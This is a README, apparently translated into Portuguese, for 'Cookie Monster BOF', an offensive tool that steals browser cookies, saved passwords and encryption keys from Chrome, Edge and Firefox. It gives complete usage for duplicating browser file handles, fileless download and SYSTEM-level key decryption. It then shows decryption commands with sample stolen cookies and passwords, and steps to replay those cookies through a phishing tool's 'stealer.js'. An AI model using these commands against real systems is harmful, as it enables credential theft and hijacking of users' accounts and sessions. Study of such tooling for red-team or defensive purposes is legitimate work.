Roube cookies de navegadores para Edge, Chrome e Firefox através de um BOF!

O Cookie Monster BOF extrairá a Chave Mestre do WebKit e a Chave de Criptografia Vinculada ao Aplicativo (App Bound Encryption Key) tanto para Edge quanto para Chrome, localizará um processo do navegador com um handle para os arquivos de Cookies e Dados de Login, copiará o(s) handle(s) e, em seguida, baixará o(s) arquivo(s) alvo sem usar arquivos (filelessly).

Uma vez que o(s) arquivo(s) de Cookies/Dados de Login são baixados, o script de descriptografia em Python pode ser usado para extrair esses segredos! O módulo Firefox analisará o profiles.ini e localizará onde os arquivos logins.json e key4.db estão e os baixará. Um repositório GitHub separado é referenciado para descriptografia offline.

Atualizações do Chrome e Edge 127+: novos cookies do navegador Chromium (v20) usam a chave vinculada ao aplicativo para criptografar os cookies. Como resultado, isso torna a recuperação da app_bound_encrypted_key um pouco mais difícil. Graças a snovvcrash, esse processo pode ser realizado sem a necessidade de escalar seus privilégios. A desvantagem é que seu processo deve estar sendo executado a partir do diretório de aplicação do navegador da web, ou seja, deve injetar no Chrome/Edge ou gerar um beacon a partir do mesmo diretório de aplicação do navegador.

Descriptografe cookies como SYSTEM e sem precisar injetar no processo do navegador! Agradecimentos a @sdemius por descobrir como descriptografar a função PostProcessData do Chrome e a @b1scoito pela explicação! Chrome 137+ alterou a função PostProcessData() mais uma vez, agradecimentos a @runassu por descobrir!

A atualização mais recente adicionou a descriptografia da Chave Mestre do WebKit graças a @M1ndo. A chave mestre é automaticamente descriptografada junto com a chave vinculada ao aplicativo. Para utilizá-la, adicione a chave ao script de descriptografia em Python. Essa chave é usada principalmente quando perfis móveis (roaming profiles) estão em uso, senhas armazenadas no Edge ou senhas armazenadas mais antigas.

Uso do BOF

Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD 
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD 
    --system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation 
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file 
    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file   
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  
    --key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files. 
    --cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key. 
    --login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.  
    --copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.

Compilar o BOF

Garanta que o Mingw-w64 e o make estejam instalados no Linux antes de compilar.

make

Passos de Descriptografia

Instalar dependências

pip3 install -r requirements.txt

Uso

python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

Exemplos: Descriptografar Arquivo de Cookies do Chrome/Edge

python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

Descriptografar Cookies do Chrome com Chave AES do Chrome

python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

Descriptografar Arquivo de Cookies do Chrome/Edge e salvar em json

python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

Importe o arquivo JSON de cookies com https://cookie-editor.com/

Descriptografar Arquivo de Senhas do Chrome/Edge

python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

Descriptografar Cookies e Credenciais Armazenados do Firefox:
https://github.com/lclevy/firepwd

Suporte ao CuddlePhish

Adicionada opção cuddlephish ao script de descriptografia que deve suportar o uso do cookie com https://github.com/fkasler/cuddlephish

# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# Clone Project
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Install Dependencies Example on Debian 
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

Referências

Este projeto não poderia ter sido feito sem a ajuda do Mr-Un1k0d3r e seus incríveis vídeos sazonais! Altamente recomendado conferir suas lições!!!
Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Fileless download: https://github.com/fortra/nanodump
Decrypt Cookies and Login Data: https://github.com/login-securite/DonPAPI
App Bound Key Decryption: https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
Decrypt Chrome 137+ Cookies https://github.com/runassu/chrome_v20_decryption

cookie-monster

Mais Populares

Cookie-Monster-BOF

Uso do BOF

Compilar o BOF

Passos de Descriptografia

Suporte ao CuddlePhish

Referências